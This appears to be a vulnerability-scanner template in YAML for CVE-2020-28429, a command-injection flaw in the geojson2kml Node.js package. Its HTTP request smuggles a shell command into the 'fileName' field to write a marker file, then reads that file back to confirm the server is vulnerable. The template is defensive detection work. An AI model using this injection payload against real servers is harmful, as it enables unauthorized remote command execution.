80 lines
2.3 KiB
YAML
80 lines
2.3 KiB
YAML
id: CVE-2020-28429
|
|
|
|
info:
|
|
name: geojson2kml - Command Injection
|
|
author: eeche,chae1xx1os,persona-twotwo,soonghee2
|
|
severity: critical
|
|
description: |
|
|
Detects command injection vulnerability by checking if `hacked.txt` is created and contains the expected content.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could result in unauthorized access, remote code execution, privilege escalation
|
|
remediation: |
|
|
Do not use geojson2kml. There is no fixed version for geojson2kml.
|
|
reference:
|
|
- https://snyk.io/vuln/SNYK-JS-GEOJSON2KML-1050412
|
|
- https://github.com/advisories/GHSA-w83x-fp72-p9qc
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-28429
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-28429
|
|
cwe-id: CWE-78
|
|
epss-score: 0.01897
|
|
epss-percentile: 0.8876
|
|
cpe: cpe:2.3:a:geojson2kml_project:geojson2kml:*:*:*:*:*:node.js:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: geojson2kml_project
|
|
product: geojson2kml
|
|
framework: node.js
|
|
tags: cve,cve2020,rce,geojson2kml,file-upload,intrusive
|
|
|
|
variables:
|
|
filename: '{{rand_base(6)}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /convert HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"fileName": "& echo \"{{randstr}}\" > {{filename}}.txt && ls",
|
|
"geoJsonData": {
|
|
"type": "FeatureCollection",
|
|
"features": [
|
|
{
|
|
"type": "Feature",
|
|
"geometry": {
|
|
"type": "Point",
|
|
"coordinates": [102.0, 0.5]
|
|
},
|
|
"properties": {
|
|
"prop0": "value0"
|
|
}
|
|
}
|
|
]
|
|
}
|
|
}
|
|
|
|
- |
|
|
GET /file/{{filename}}.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- "{{randstr}}"
|
|
|
|
- type: word
|
|
part: header_2
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100c5f3443f57ce4a21a84b28f2d09ba7fbe29f0383c89fb75f2b73e9a44dc1178e02204406e9738eacd9e9e354c6fc11dc4df96cd2a23c9eaa4c359d8d2b5b2cba1c7f:922c64590222798bb761d5b6d8e72950 |